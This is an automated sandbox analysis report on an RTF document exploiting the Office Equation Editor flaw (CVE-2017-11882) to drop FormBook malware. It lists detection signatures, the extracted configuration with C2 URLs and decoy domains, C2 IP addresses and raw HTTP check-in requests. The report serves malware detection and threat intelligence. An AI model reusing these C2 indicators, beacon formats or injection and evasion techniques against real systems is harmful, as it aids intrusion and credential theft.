Windows Analysis Report
SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.1905.19912

Overview

General Information

Sample Name: SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.1905.19912 (renamed file extension from 19912 to rtf)
Analysis ID: 680528
MD5: 8bfea104ae681494896379e3c647f6ae
SHA1: aaf97d8a987c5060ff06c4031030000d53d3cb31
SHA256: 2975edb12c8e70b56a89c7fb82e4eb347b992b4147dcfa2a20efd16d54c33eb4
Tags: rtf
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Document exploit detected (drops PE files)
Document contains OLE streams which likely are hidden ActiveX objects
System process connects to network (likely due to code injection or exploit)
Document exploit detected (creates forbidden files)
Antivirus detection for URL or domain
Antivirus detection for dropped file
Snort IDS alert for network traffic
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Maps a DLL or memory area into another process
Document contains OLE streams with names of living off the land binaries
Found potential equation exploit (CVE-2017-11882)
Injects a PE file into a foreign processes
Tries to detect virtualization through RDTSC time measurements
Creates a thread in another existing process (thread injection)
Uses ipconfig to lookup or modify the Windows network settings
PE file contains section with special chars
Sample uses process hollowing technique
Office process drops PE file
Writes to foreign memory regions
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Modifies the prolog of user mode functions (user mode inline hooks)
Queues an APC in another process (thread injection)
PE file has nameless sections
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Found suspicious RTF objects
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
HTTP GET or POST without a user agent
Document misses a certain OLE stream usually present in this Microsoft Office document type
Contains long sleeps (>= 3 min)
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Checks if the current process is being debugged
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Queries the volume information (name, serial number etc) of a device
Yara signature match
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Found potential string decryption / allocating functions
Contains functionality to call native functions
Potential document exploit detected (performs DNS queries)
Contains functionality for execution timing, often used to detect debuggers
Document contains Microsoft Equation 3.0 OLE entries
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Office Equation Editor has been started
Creates a window with clipboard capturing capabilities
Potential document exploit detected (performs HTTP gets)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: www.lundadonate.xyz/nb30/ Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{4F98E955-E40B-4BEE-AA1E-253D7E3CD6E7}.tmp Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.1905.rtf Virustotal: Detection: 43% Perma Link
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.1905.rtf ReversingLabs: Detection: 21%
Yara detected FormBook
Source: Yara match File source: 9.0.notepad.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.notepad.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.1043439197.0000000000150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.948702057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.947984971.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1175369847.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1043648372.00000000002C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.939194134.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.938868025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1043727096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1175496063.0000000000290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.948326848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.958771208.0000000003666000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1175083933.0000000000080000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.987721089.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.1004582452.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\Client.exe ReversingLabs: Detection: 24%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\Client.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 9.0.notepad.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 9.2.notepad.exe.400000.1.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 9.0.notepad.exe.400000.3.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 9.0.notepad.exe.400000.4.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 9.0.notepad.exe.400000.1.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 9.0.notepad.exe.400000.5.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 9.0.notepad.exe.400000.2.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 00000009.00000002.1043439197.0000000000150000.00000040.10000000.00040000.00000000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.lundadonate.xyz/nb30/"], "decoy": ["p5w.top", "5tfg.com", "anicehost.net", "willsmalaysia.com", "yothisnox.com", "arripro.com", "etherhacker.net", "best-boy.net", "ppcrecruits.net", "sportsplaymaker.app", "indovanilla.net", "srsimmons.co.uk", "ahulubicyclecompany.com", "4lifegeneration.com", "asiasbodyscrubs.com", "allianceocm.com", "gadstrackingtool.site", "nycityspaces.com", "wsdldc.com", "paradise-unlimited.com", "h-language.com", "socialautopost.com", "facebfree.com", "rccl.tech", "ottomakeup.store", "top-softwarereviews.com", "buy-refrigerators.site", "dhglassbottle.com", "justcallmet3.online", "ce-chen-photography.com", "premierdealznext.online", "jnfbhch.com", "3dherders.com", "mejoresmoviles.top", "401by.com", "ynnanjiu.com", "hgirejr.space", "therapeuticdetailing.com", "nowinnofeeteam.co.uk", "banhtrangmuoitayninh.com", "xrhealthinstitute.com", "theilluminati.online", "opimprovements.co.uk", "altoonahanggliding.com", "yellowcottagedoor.com", "11111111111112000.top", "arlowepeak.com", "topbettingoffers.online", "geekmortgages.com", "casasyterrenosjalisco.info", "predicadores.online", "yuntiwang.top", "shanhaiverse.net", "wonderslots-fun.online", "droxgiy.online", "thebluejaysnest.net", "shenlongdian.com", "wf825.com", "urlasuite.xyz", "abundant-life-coach.com", "asd811.xyz", "fc10086.com", "thegoldencamel.online", "pqkjl.com"]}

Exploits
barindex
Found potential equation exploit (CVE-2017-11882)
Source: Static RTF information: Object: 1 Offset: 001DC2BCh
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\cmd.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\cmd.exe Jump to behavior
Document contains Microsoft Equation 3.0 OLE entries
Source: ~WRF{4F98E955-E40B-4BEE-AA1E-253D7E3CD6E7}.tmp.0.dr Stream path '_1721489049/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: ipconfig.pdb source: notepad.exe, 00000009.00000003.1040858153.000000000081C000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000009.00000002.1043409063.0000000000030000.00000040.10000000.00040000.00000000.sdmp, notepad.exe, 00000009.00000002.1044510525.0000000000822000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ipconfig.pdbN source: notepad.exe, 00000009.00000003.1040858153.000000000081C000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000009.00000002.1043409063.0000000000030000.00000040.10000000.00040000.00000000.sdmp, notepad.exe, 00000009.00000002.1044510525.0000000000822000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: notepad.pdb source: ipconfig.exe, 0000000B.00000002.1177312343.000000000271F000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 0000000B.00000002.1175813159.0000000000444000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: notepad.exe, notepad.exe, 00000009.00000003.950924763.0000000000900000.00000004.00000800.00020000.00000000.sdmp, notepad.exe, 00000009.00000002.1046378480.0000000000C10000.00000040.00000800.00020000.00000000.sdmp, notepad.exe, 00000009.00000003.949038674.00000000002A0000.00000004.00000800.00020000.00000000.sdmp, notepad.exe, 00000009.00000002.1044571883.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, ipconfig.exe, 0000000B.00000002.1176285668.0000000002220000.00000040.00000800.00020000.00000000.sdmp, ipconfig.exe, 0000000B.00000003.1044991591.0000000002090000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: notepad.pdbx source: ipconfig.exe, 0000000B.00000002.1177312343.000000000271F000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 0000000B.00000002.1175813159.0000000000444000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities
barindex
Document exploit detected (drops PE files)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: Client.exe.0.dr Jump to dropped file
Document exploit detected (creates forbidden files)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\Client.exe Jump to behavior
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 66.235.200.170:80
Source: global traffic TCP traffic: 66.235.200.170:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 66.235.200.170:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 66.235.200.170:80
Source: global traffic TCP traffic: 66.235.200.170:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 66.235.200.170:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 66.235.200.170:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 66.235.200.170:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 66.235.200.170:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 66.235.200.170:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 66.235.200.170:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 66.235.200.170:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 66.235.200.170:80
Source: global traffic TCP traffic: 66.235.200.170:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 66.235.200.170:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 104.167.67.175:80
Source: global traffic TCP traffic: 104.167.67.175:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 104.167.67.175:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 104.167.67.175:80
Source: global traffic TCP traffic: 104.167.67.175:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 104.167.67.175:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 104.167.67.175:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 104.167.67.175:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 104.167.67.175:80
Source: global traffic TCP traffic: 104.167.67.175:80 -> 192.168.2.22:49172
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: www.thegoldencamel.online
Source: global traffic DNS query: name: www.best-boy.net
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\notepad.exe Code function: 4x nop then pop ebx 9_2_00407B44
Source: C:\Windows\SysWOW64\notepad.exe Code function: 4x nop then pop ebx 9_2_00407B1C
Source: C:\Windows\SysWOW64\notepad.exe Code function: 4x nop then pop edi 9_2_0040E47A
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 66.235.200.170:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 104.167.67.175:80

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.best-boy.net
Source: C:\Windows\explorer.exe Network Connect: 104.167.67.175 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 66.235.200.170 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.thegoldencamel.online
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49171 -> 66.235.200.170:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49171 -> 66.235.200.170:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49171 -> 66.235.200.170:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49172 -> 104.167.67.175:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49172 -> 104.167.67.175:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49172 -> 104.167.67.175:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.lundadonate.xyz/nb30/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /nb30/?4hntpZ=HrFg7Zw77Q4AgN6xWDdwD99B0qzSSsTIjhXIVaLmDYdCsLEuJk5C8qRmA5PaAiVsBqYing==&PPa=ApcXW2 HTTP/1.1Host: www.thegoldencamel.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nb30/?4hntpZ=WWLsvV61WazOGjhWPmK2zCox7nD1HU3ZrNfLe9lvYYokad8918qHb5Jmu9JsRIh/3onKEQ==&PPa=ApcXW2 HTTP/1.1Host: www.best-boy.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: ESITEDUS ESITEDUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: explorer.exe, 0000000A.00000000.970687640.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 0000000A.00000000.1030986946.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 0000000A.00000000.1030986946.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 0000000A.00000000.1027469570.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.984634900.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.999499813.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.954363521.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://java.sun.com
Source: explorer.exe, 0000000A.00000000.1005858941.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 0000000A.00000000.1005858941.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: explorer.exe, 0000000A.00000000.957907821.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: Client.exe, 00000006.00000002.951081960.0000000002641000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 0000000A.00000000.973857047.0000000006450000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 0000000A.00000000.1005858941.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 0000000A.00000000.970687640.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 0000000A.00000000.970687640.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 0000000A.00000000.1005858941.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 0000000A.00000000.957907821.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 0000000A.00000000.1027469570.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.984634900.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.999499813.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.954363521.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 0000000A.00000000.970687640.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 0000000A.00000000.1030986946.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 0000000A.00000000.1005858941.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 0000000A.00000000.970687640.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 0000000A.00000000.1030986946.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 0000000A.00000000.979092097.00000000084C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.962364346.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1030297831.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1012512071.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1012445260.0000000008675000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1012221961.0000000008617000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.979280066.00000000084D2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.996182777.0000000008617000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 0000000A.00000000.980217883.0000000008617000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1012221961.0000000008617000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.996182777.0000000008617000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleaner1SPS0
Source: explorer.exe, 0000000A.00000000.996446358.0000000008675000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1011537608.00000000084D2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.995286555.00000000084D2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.996486805.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.980535513.0000000008675000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.980217883.0000000008617000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1012512071.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1012445260.0000000008675000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.979280066.00000000084D2000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 0000000A.00000000.969152262.0000000004385000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerp
Source: explorer.exe, 0000000A.00000000.1004860034.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.988141924.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.962364346.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1030297831.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerq
Source: explorer.exe, 0000000A.00000000.969152262.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1007082449.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.991189675.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1032583619.0000000004385000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerv
Source: explorer.exe, 0000000A.00000000.1030986946.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 0000000A.00000000.1027469570.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.984634900.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.999499813.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.954363521.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: explorer.exe, 0000000A.00000000.1027469570.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.984634900.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.999499813.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.954363521.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 0000000A.00000000.1027469570.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.984634900.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.999499813.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.954363521.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{5E27A50A-FBC0-4F18-B35D-48F0F2347081}.tmp Jump to behavior
Source: unknown DNS traffic detected: queries for: www.thegoldencamel.online
Source: global traffic HTTP traffic detected: GET /nb30/?4hntpZ=HrFg7Zw77Q4AgN6xWDdwD99B0qzSSsTIjhXIVaLmDYdCsLEuJk5C8qRmA5PaAiVsBqYing==&PPa=ApcXW2 HTTP/1.1Host: www.thegoldencamel.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nb30/?4hntpZ=WWLsvV61WazOGjhWPmK2zCox7nD1HU3ZrNfLe9lvYYokad8918qHb5Jmu9JsRIh/3onKEQ==&PPa=ApcXW2 HTTP/1.1Host: www.best-boy.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 08 Aug 2022 16:39:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.thegoldencamel.online/wp-json/>; rel="https://api.w.org/"Vary: Accept-EncodingX-Endurance-Cache-Level: 2X-nginx-cache: WordPressCF-Cache-Status: MISSServer: cloudflareCF-RAY: 7379b09ee927997b-FRAData Raw: 31 36 61 33 0d 0a 09 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 31 39 2e 34 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 54 68 65 20 47 6f 6c 64 65 6e 20 43 61 6d 65 6c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 54 68 65 20 47 6f 6c 64 65 6e 20 43 61 6d 65 6c 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 47 6f 6c 64 65 6e 20 43 61 6d 65 6c 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 